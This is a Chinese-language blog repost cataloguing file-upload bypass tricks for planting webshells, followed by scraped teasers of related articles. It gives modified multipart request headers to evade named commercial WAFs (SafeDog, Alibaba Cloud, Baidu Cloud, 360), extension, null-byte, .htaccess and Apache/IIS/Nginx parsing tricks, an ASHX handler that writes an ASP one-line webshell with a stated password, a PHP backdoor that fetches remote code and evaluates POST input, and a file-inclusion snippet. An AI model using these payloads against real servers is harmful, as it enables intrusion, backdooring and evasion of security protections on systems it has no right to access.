Getshell | 文件上传绕过整理

WAF绕过
安全狗绕过

1.绕过思路:对文件的内容,数据。数据包进行处理。

关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data; 修改为~form-data;

2.通过替换大小写来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type

3.通过删减空格来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name="file"; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格

4.通过字符串拼接绕过

看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata

5.双文件上传绕过

6.HTTP header 属性值绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为来绕过
Content-Disposition:
; name="file"; filename="yjh.php"

7.HTTP header 属性名称绕过

源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

8.等效替换绕过

原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。

9.修改编码绕过

使用UTF-16、Unicode、双URL编码等等

WTS-WAF 绕过上传

原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度云上传绕过

百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里云上传绕过

源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

360主机上传绕过

源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition

MIME类型绕过

上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

文件内容检测绕过

抓包,在正常图片末尾添加一句话木马

多次上传Win特性绕过

多次上传同一个文件,windows会自动更新补全TEST (1).php。
有时会触发条件竞争,导致绕过。

条件竞争绕过

通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

CONTENT-LENGTH绕过

针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

文件内容检测绕过

针对文件内容检测的绕过,一般有两种方式,
1.制作图片马
2.文件幻术头绕过

垃圾数据填充绕过

修改HTTP请求,再之中加入大量垃圾数据。

黑名单后缀绕过
文件扩展名绕过

Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀

ashx上传绕过

cer,asa,cdx等等无法使用时候。
解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
    context.Response.ContentType = "text/plain";

    //这里会在目录下生成一个test.asp的文件
    StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
    //这里是写入一句话木马   密码是:ptu
    file1.Write("<%response.clear:execute request("put"):response.End%>");
    file1.Flush();
    file1.Close();
}
public bool IsReusable {
    get {
        return false;
    }
}

}

特殊文件名绕过

比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。

Windows流特性绕过

php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

白名单后缀绕过
00截断绕过上传

php .jpg 空格二进制20改为00
IIS 6.0 目录路径检测解析绕过
上传路径改为
XXX/1.asp/

htaccess解析漏洞

上传的jpg文件都会以php格式解析
.htaccess内容:
AddType application/x-httpd-php .jpg

突破MIME限制上传

方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。

Apache解析漏洞

1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。

IIS解析漏洞

IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
会优先按asp来解析
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

Nginx解析漏洞

解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

解析漏洞

Content-Disposition: form-data; name="file"; filename=php.php;.jpg

前端限制绕过

1.使用BURP抓包修改后重放
2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

下载绕过

远程下载文件绕过

<?php
$str = file_get_contents(‘http://127.0.0.1/ian.txt‘);
$str($_post[‘ian‘]);
?>

文件包含绕过

上传图片木马
$x=$_GET[‘x‘];
include($x);
访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

原文链接:https://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247487887&idx=1&sn=d177572cbfda0b2b3eb5667b7fecb7dd&chksm=ec1f44b0db68cda69f6851fe3675761b2ce29093fe96ad2142517da6cb67c744a3ad460d5424&mpshare=1&scene=1&srcid=1205PHbMLmLNhfeBZ7vMhz5B&sharer_sharetime=1575542699088&sharer_shareid=10e30780fc5aaced869163bf79e31767&key=ebbdd804d597c2497047fd4e271c50ba5c2d74a078d82885e2c04855529fed440ec5f694963cd83d830cfcbda86cd4372512f78929d3e1cd638cab59aea3c5d7d3cc4ca26391bcdb6f52e5adbb9ea406&ascene=1&uin=ODY1Mzg4NQ%3D%3D&devicetype=Windows+10&version=62070152&lang=zh_CN&exportkey=A79vlbJP4htrQmFuOZ51gms%3D&pass_ticket=ecqdTMA66%2BMf6JYJJ3Lp0B85FmK13Z9%2BM2FB47cibV0%3D

原文地址:https://www.cnblogs.com/beret81/p/11995345.html

时间: 2024-11-03 21:16:13

Getshell | 文件上传绕过整理的相关文章

文件上传姿势整理(附实战)

--人的理想志向往往和他的能力成正比. 在这里整理一些自己最近学习的文件上传的知识,方便自己回忆和深刻记忆(不全,只是将自己不知道的原理以及技巧分享出来). 文件上传漏洞的几种情况(在ichunqiu的博客园扒的 - -.): MIME类型绕过漏洞(就是content-type:) 文件内容检测绕过 空字节截断(%00,0x00) 解析导致的文件上传漏洞: IIS6.0/IIS7.0/IIS7.5(后面细说) Apache站上的解析缺陷绕过上传 htaccess文件上传解析漏洞 还有就是各种cm

(转)多种文件上传绕过手法

相信大家都或多或少遇到过上传的问题,本文讲些小技巧,原理用文字叙述实在麻烦 目录:JS验证实例 /大小写/双重后缀名/过滤绕过/特殊后缀名/文件流类型/文件重写 1.javascript验证突破 查看源代码 在IE中禁用掉即可(火狐的noscript插件也行) 2.大小写突破 他只是把php做了限制,改成Php就可以了 3.双重后缀名突破 在php后面加一个空格即可突破 4.过滤绕过 这个大家应该经常遇到,上传一个php会自动改成gif 我们这样改一下,pphphp,那么就过滤了  第一个php

文件上传绕过知识总结一

前言 重新学习漏洞原理,记录下文件上传的绕过姿势 客户端的检测: 1 function checkFile() { 2 var file = document.getElementsByName('upload_file')[0].value; 3 if (file == null || file == "") { 4 alert("请选择要上传的文件!"); 5 return false; 6 } 7 //定义允许上传的文件类型 8 var allow_ext =

文件上传+绕过方法+菜刀的基本用法

关于原理方面就不加赘述了,可以Google一下,我贴一下几百年前我的理解:原理:上传一个脚本(jsp,asp,php),然后就得到机子的shell (哇,感觉很粗糙) 文件上传漏洞的几种常见的姿势: 1.js前端验证2.mime3.后缀名4.修改字母大小写(同第一种,就是把PHP几种大小写试一试 还有可能是phtml)5.00截断6.上传含有一句话的图片 最简单的:先直接上传一个php文件,看是否正确 1.js前端验证: 一般都是在网页上写一段JavaScript脚本,校验上传文件的后缀名,有白

文件上传漏洞(绕过姿势)

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用.此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议.(根据个人经验总结,欢迎补充纠错~~) 文件上传校验姿势 客户端javascript校验(一般只校验后缀名) 服务端校验 文件头content-type

文件上传的思考 (转) http://blog.csdn.net/ncafei/article/details/53401961

文件上传校验 客户端JavaScript校验(一般只校验后缀名) 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式. 判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包. 服务端校验: 1.文件头content-type字段校验(image/gif):代码对上传文件的文件类型进行了判断,如果不是图片类型,返回错误. 2.文件内容头校验(GIF89a): 可

php代码审计8审计文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚步文件,并通过此脚本文件获得了执行服务器端命令的能力,这种攻击方式是最直接和有效的,文件上传本身是没问题的,有问题的是文件上传后,服务器怎么处理,解释文件,通过服务器的处理逻辑做的不够安全,则会导致严重后果 漏洞条件:文件可上传--知道文件上传路径--上传文件可以被访问--上传文件可以被执行 文件上传可控点:Content-Length,即上传内容大小MAX_FILE-SIZE,即上传内容的最大长度filename,即上传文件名Content-Type,即

WEB安全性测试之文件上传漏洞

1.漏洞描述:文件上传漏洞,是指可以利用WEB上传一些特定的文件包含特定代码如(<?php phpnfo;?> 可以用于读取服务器配置信息.上传成功后可以点击) 上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.文件上传本身是web中最为常见的一种功能需求,关键是文件上传之后服务器端的处理.解释文件的过程是否安全.一般的情况有: 1.上传Web脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行,篡改主页 2.上传Flash策略文件cro

2020/1/30 PHP代码审计之文件上传漏洞

0x00 漏洞简介 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.这种攻击是最为直接和有效的,"文件上传"本身是没有问题,有问题的是文件上传后,服务器怎么处理,解释文件.如果服务器的处理逻辑做的不够安全,则会导致严重的后果,. 0x01漏洞条件 文件可上传 知道文件上传的路径 上传文件可以被访问 上传文件可以被执行 0x02 挖掘思路 上传点都调用同一个上传类,直接全局搜索上传函数 黑盒寻找上传点,代码定位. 0x03 写一个上传 我们先